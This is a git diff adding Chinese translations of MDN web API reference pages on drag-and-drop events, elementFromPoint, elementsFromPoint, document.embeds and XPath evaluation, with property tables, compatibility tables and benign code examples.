<td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关">相关</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/dragstart_event/index.html b/files/zh-cn/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..15ec167d42 --- /dev/null +++ b/files/zh-cn/web/api/document/dragstart_event/index.html @@ -0,0 +1,308 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - dragstart + - 事件 + - 拖动 +translation_of: Web/API/Document/dragstart_event +--- +<div>当用户开始拖动一个元素或者一个选择文本的时候 <code>dragstart</code> 事件就会触发。</div> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>Bubbles</td> + <td>Yes</td> + </tr> + <tr> + <td>Cancelable</td> + <td>Yes</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>Default Action</td> + <td>Initiate the drag-and-drop operation.</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone" name="示例：dropzone">示例：dropzone</h2> + +<h3 id="HTML_内容">HTML 内容</h3> + +<pre class="brush: html"><div class="dropzone"> + <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> + This div is draggable + </div> +</div> +<div class="dropzone"></div> +<div class="dropzone"></div> +<div class="dropzone"></div></pre> + +<h3 id="CSS_内容">CSS 内容</h3> + +<pre class="brush: css"> #draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; + } + + .dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; + }</pre> + +<h3 id="JavaScript_内容">JavaScript 内容</h3> + +<pre class="brush: js"> var dragged; + + /* 可拖动的目标元素会触发事件 */ + document.addEventListener("drag", function( event ) { + + }, false); + + document.addEventListener("dragstart", function( event ) { + // 保存拖动元素的引用(ref.) + dragged = event.target; + // 使其半透明 + event.target.style.opacity = .5; + }, false); + + document.addEventListener("dragend", function( event ) { + // 重置透明度 + event.target.style.opacity = ""; + }, false); + + /* 放下目标节点时触发事件 */ + document.addEventListener("dragover", function( event ) { + // 阻止默认动作 + event.preventDefault(); + }, false); + + document.addEventListener("dragenter", function( event ) { + // 当可拖动的元素进入可放置的目标高亮目标节点 + if ( event.target.className == "dropzone" ) { + event.target.style.background = "purple"; + } + + }, false); + + document.addEventListener("dragleave", function( event ) { + // 当拖动元素离开可放置目标节点，重置其背景 + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + } + + }, false); + + document.addEventListener("drop", function( event ) { + // 阻止默认动作（如打开一些元素的链接） + event.preventDefault(); + // 移动拖动的元素到所选择的放置目标节点 + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } + + }, false);</pre> + +<p>{{ EmbedLiveSample('示例：dropzone') }}</p> + +<h2 id="浏览器支持">浏览器支持</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关事件">相关事件</h2> + +<ul> + <li>{{event("drag")}}</li> + <li>{{event("dragstart")}}</li> + <li>{{event("dragend")}}</li> + <li>{{event("dragover")}}</li> + <li>{{event("dragenter")}}</li> + <li>{{event("dragleave")}}</li> + <li>{{event("dragexit")}}</li> + <li>{{event("drop")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/drop_event/index.html b/files/zh-cn/web/api/document/drop_event/index.html new file mode 100644 index 0000000000..3016333f51 --- /dev/null +++ b/files/zh-cn/web/api/document/drop_event/index.html @@ -0,0 +1,265 @@ +--- +title: drop +slug: Web/API/Document/drop_event +tags: + - DOM + - Drag Event + - Drop + - Event + - HTML5 + - drag and drop + - 参考 + - 拖拽 + - 拖拽释放 + - 拖拽释放事件 +translation_of: Web/API/Document/drop_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>当一个元素或是选中的文字被拖拽释放到一个有效的释放目标位置时，drop</code></strong> 事件被抛出。</p> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>Bubbles</td> + <td>Yes</td> + </tr> + <tr> + <td>Cancelable</td> + <td>Yes</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>Default Action</td> + <td>Varies.</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>The element that was underneath the element being dragged.</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>The type of event.</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event normally bubbles or not</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>Whether the event is cancellable or not?</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例：dropzone">示例：dropzone</h2> + +<p>{{page('/zh-CN/docs/Web/Events/dragstart', '示例：dropzone')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drop event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drop event")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关">相关</h2> + +<ul> + <li>其它拖放事件： + <ul> + <li>{{domxref("Document/drag_event", "drag")}}</li> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + </ul> + </li> + <li>其他目标上的拖放事件： + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/drop_event", "drop")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drop_event", "drop")}}</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drop_event", "drop")}} event</li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/web/api/document/elementfrompoint/index.html b/files/zh-cn/web/api/document/elementfrompoint/index.html new file mode 100644 index 0000000000..66172b2540 --- /dev/null +++ b/files/zh-cn/web/api/document/elementfrompoint/index.html @@ -0,0 +1,44 @@ +--- +title: Document.elementFromPoint() +slug: Web/API/Document/elementFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint +--- +<div> + {{APIRef()}} {{Fx_minversion_header(3)}}</div> +<h2 id="Summary" name="Summary">概述</h2> +<p>返回当前文档上处于指定坐标位置最顶层的元素, 坐标是相对于包含该文档的浏览器窗口的左上角为原点来计算的, 通常 x 和 y 坐标都应为正数.</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre><em>var element</em> = document.elementFromPoint(<em>x</em>, <em>y</em>);</pre> +<ul> + <li><code>element</code> 是返回的DOM<a href="/en-US/docs/DOM/element" title="DOM/element">元素</a>.</li> + <li><code>x</code> 和 <code>y</code> 是坐标数值, 不需要单位比如px.</li> +</ul> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> +<title>elementFromPoint example</title> + +<script> +function changeColor(newColor) { + elem = document.elementFromPoint(2, 2); + elem.style.color = newColor; +} +</script> +</head> + +<body> +<p id="para1">Some text here</p> +<button onclick="changeColor('blue');">blue</button> +<button onclick="changeColor('red');">red</button> +</body> +</html> +</pre> +<h2 id="Notes" name="Notes">附注</h2> +<p>If the element at the specified point belongs to another document (for example, an iframe's subdocument), the element in the DOM of the document the method is called on (in the iframe case, the iframe itself) is returned. If the element at the given point is anonymous or XBL generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.</p> +<p>If the specified point is outside the visible bounds of the document or either coordinate is negative, the result is <code>null</code>.</p> +<p>{{Note("Callers from XUL documents should wait until the <code>onload</code> event has fired before calling this method.")}}</p> +<h2 id="Specification" name="Specification">规范</h2> +<ul> + <li>Preliminary specification: <code><a class="external" href="http://dev.w3.org/csswg/cssom-view/#dom-document-elementfrompoint">elementFromPoint</a></code></li> +</ul> diff --git a/files/zh-cn/web/api/document/elementsfrompoint/index.html b/files/zh-cn/web/api/document/elementsfrompoint/index.html new file mode 100644 index 0000000000..855f793460 --- /dev/null +++ b/files/zh-cn/web/api/document/elementsfrompoint/index.html @@ -0,0 +1,128 @@ +--- +title: Document.elementsFromPoint() +slug: Web/API/Document/elementsFromPoint +translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint +--- +<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div> + +<p><code><strong>elementsFromPoint()</strong></code> 方法可以获取到当前视口内指定坐标处，由里到外排列的所有元素。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">var<em> elements</em> = <em>document</em>.elementsFromPoint(<em>x</em>, <em>y</em>);</pre> + +<h3 id="返回值">返回值</h3> + +<p>一个包含多个元素的数组</p> + +<h3 id="参数">参数</h3> + +<dl> + <dt>x</dt> + <dd>当前视口内某一点的横坐标</dd> + <dt>y</dt> + <dd>当前视口内某一点的纵坐标</dd> +</dl> + +<h2 id="Example" name="Example">示例</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><div> + <p>Some text</p> +</div> +<p>Elements at point 30, 20:</p> +<div id="output"></div> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js;highlight[1]">var output = document.getElementById("output"); +if (document.elementsFromPoint) { + var elements = document.elementsFromPoint(30, 20); + for(var i = 0; i < elements.length; i++) { + output.textContent += elements[i].localName; + if (i < elements.length - 1) { + output.textContent += " < "; + } + } +} else { + output.innerHTML = "<span style=\"color: red;\">" + + "您的浏览器不支持 <code>document.elementsFromPoint()</code>" + + "</span>"; +}</pre> + +<p>{{EmbedLiveSample('Example', '420', '120')}}</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('CSSOM View', '#dom-document-elementsfrompoint', 'elementsFromPoint')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td> {{CompatChrome(43.0)}}</td> + <td>{{CompatGeckoDesktop("46.0")}}<sup>[1]</sup></td> + <td>10.0 {{property_prefix("ms")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari(11)}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(43.0)}}</td> + <td>{{CompatGeckoMobile("46.0")}}<sup>[1]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatSafari(11)}}</td> + <td>{{CompatChrome(43.0)}}</td> + </tr> + </tbody> +</table> +</div> + +<p> </p> diff --git a/files/zh-cn/web/api/document/embeds/index.html b/files/zh-cn/web/api/document/embeds/index.html new file mode 100644 index 0000000000..b7cdce99fc --- /dev/null +++ b/files/zh-cn/web/api/document/embeds/index.html @@ -0,0 +1,51 @@ +--- +title: document.embeds +slug: Web/API/Document/embeds +tags: + - API + - Document + - HTML DOM + - NeedsContent + - NeedsExample + - NeedsMarkupWork + - NeedsSpecTable + - Property +translation_of: Web/API/Document/embeds +--- +<p>{{ ApiRef() }}</p> + +<p>{{domxref("Document")}}接口的只读属性<code>embeds</code> 返回当前文档内的<embed><strong>HTML </strong>{{htmlelement("object")}}元素列表</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>nodeList</em> = document.embeds +</pre> + +<h3 id="值">值</h3> + +<p>一个 {{domxref("HTMLCollection")}}类型的值</p> + +<h2 id="Specifications" name="Specifications">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.embeds")}}</p> diff --git a/files/zh-cn/web/api/document/evaluate/index.html b/files/zh-cn/web/api/document/evaluate/index.html new file mode 100644 index 0000000000..49beb37091 --- /dev/null +++ b/files/zh-cn/web/api/document/evaluate/index.html @@ -0,0 +1,168 @@ +--- +title: Document.evaluate() +slug: Web/API/Document/evaluate +tags: + - API + - DOM + - XPath + - 参考 + - 方法 +translation_of: Web/API/Document/evaluate +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>根据传入的 <a href="/zh-CN/docs/XPath">XPath</a> 表达式以及其他参数，返回一个 {{domxref("XPathResult")}} 对象。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">var xpathResult = document.evaluate( + xpathExpression, + contextNode, + namespaceResolver, + resultType, + result +);</pre> + +<ul> + <li><code>xpathExpression</code> 表示要计算的 Xpath 字符串。</li> + <li><code>contextNode</code> 表示本次查询的<em>上下文节点</em>（参照XPath规范 <a href="http://www.w3.org/TR/xpath">http://www.w3.org/TR/xpath</a>）。通常会使用 <code>document</code>。</li> + <li><code>namespaceResolver</code> 是函数。传入名空间前缀，返回跟此前缀相关的名空间URI（字符串）。通常用来解析Xpath内的前缀，以便对文档进行匹配。HTML文档或者不使用名空间前缀的文档，通常传入 <code>null</code>。</li> + <li><code>resultType</code> 是整数。指定所返回的 <code>XPathResult</code> 的类型，常使用 <a href="#Result_types">named constant properties</a>，如 <code>XPathResult.ANY_TYPE</code>，范围 0 到 9，见下表。</li> + <li><code>result</code> 为 <code>XPathResult</code> 型，用以存储查询结果。通常传入 <code>null</code>，此时将创建新的 <code>XPathResult</code> 对象。</li> +</ul> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">var headings = document.evaluate("/html/body//h2", document, null, XPathResult.ANY_TYPE, null); +/* 在 document 中查找所有的 h2 元素。 + * 结果可能是无序节点迭代器。 */ +var thisHeading = headings.iterateNext(); +var alertText = "Level 2 headings in this document are:\n"; +while (thisHeading) { + alertText += thisHeading.textContent + "\n"; + thisHeading = headings.iterateNext(); +} +alert(alertText); // 显示所有 h2 节点的文本 +</pre> + +<p>注意，在上述例子中，最好写更冗长的XPath，而不是常用的简写，比如 <code>//h2</code>。 通常，像上述例子所示，更具体的XPath选择器会得到显著的性能提升，特别是在非常大的文档中。这是因为查询计算不会将时间浪费在查看不需要的节点上。使用 // 通常很慢，这是因为它要从根节点和所有子节点中查找所有可能匹配的节点。</p> + +<p>通过谨慎使用上下文参数能得到进一步的优化。比如，如果你知道你要查找的内容在 <code>body</code> 标签的某处，你可以这样做：</p> + +<pre class="brush: js">document.evaluate(".//h2", document.body, null, XPathResult.ANY_TYPE, null); +</pre> + +<p>注意上面的 <code>document.body</code> 已经替代了document作为上下文，所以 XPath 从 body 元素开始查找。 （在这个例子中，<code>"."</code> 很重要，因为它指示了查找要从document.body这个上下文节点开始。如果遗漏了 <code>"."</code> (剩下 <code>//h2</code>) ，查找会从根节点（<code>html</code>）处开始，这样会很浪费。）</p> + +<p>查阅 <a href="/en-US/docs/Introduction_to_using_XPath_in_JavaScript" title="Introduction to using XPath in JavaScript">Introduction to using XPath in JavaScript</a> 获得更多信息。</p> + +<h2 id="注意">注意</h2> + +<ul> + <li>XPath 表达式能在 HTML 和 XML 文档上计算。</li> + <li>如果要计算别的而不是当前文档，在 FF3 上必须使用<code>someXMLDoc.evaluate()</code> ，虽然在 FF2 上 <code>document.evaluate()</code> 也有效。</li> +</ul> + +<h2 id="结果的类型">结果的类型</h2> + +<p>(Merge with <a href="/Template:XPathResultConstants">Template:XPathResultConstants</a>?</p> + +<p>这些是 <code>evaluate</code> 方法的 <code>resultType</code> 参数支持的值：</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Result Type</td> + <td class="header">Value</td> + <td class="header">Description</td> + </tr> + <tr> + <td><code>ANY_TYPE</code></td> + <td>0</td> + <td>Whatever type naturally results from the given expression.</td> + </tr> + <tr> + <td><code>NUMBER_TYPE</code></td> + <td>1</td> + <td>A result set containing a single number. Useful, for example, in an XPath expression using the <code>count()</code> function.</td> + </tr> + <tr> + <td><code>STRING_TYPE</code></td> + <td>2</td> + <td>A result set containing a single string.</td> + </tr> + <tr> + <td><code>BOOLEAN_TYPE</code></td> + <td>3</td> + <td>A result set containing a single boolean value. Useful, for example, an an XPath expression using the <code>not()</code> function.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_ITERATOR_TYPE</code></td> + <td>4</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_ITERATOR_TYPE</code></td> + <td>5</td> + <td>A result set containing all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>UNORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>6</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are not necessarily in the same order they appear in the document.</td> + </tr> + <tr> + <td><code>ORDERED_NODE_SNAPSHOT_TYPE</code></td> + <td>7</td> + <td>A result set containing snapshots of all the nodes matching the expression. The nodes in the result set are in the same order they appear in the document.</td> + </tr> + <tr> + 